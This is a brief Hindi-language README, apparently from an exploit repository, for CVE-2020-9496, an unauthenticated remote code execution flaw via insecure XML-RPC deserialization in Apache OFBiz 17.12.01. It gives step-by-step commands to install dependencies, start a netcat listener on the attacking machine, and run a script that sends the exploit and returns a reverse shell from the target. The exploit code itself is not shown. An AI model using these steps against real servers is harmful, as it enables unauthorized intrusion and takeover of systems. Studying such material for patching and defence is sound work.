CVE-2020-9496

ApacheOfBiz 17.12.01 - अनधिकृत रिमोट कोड निष्पादन

XML-RPC अनुरोध असुरक्षित डिसीरियलाइज़ेशन के लिए संवेदनशील हैं।

चरण

चरण 1:

pip3 install -r requeriments.txt

चरण 2:

nc -nlvp <port> # हमला कंप्यूटर

चरण 3:

python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>

चरण 4:

आपके पास अपने nc लिसनर में एक शेल होना चाहिए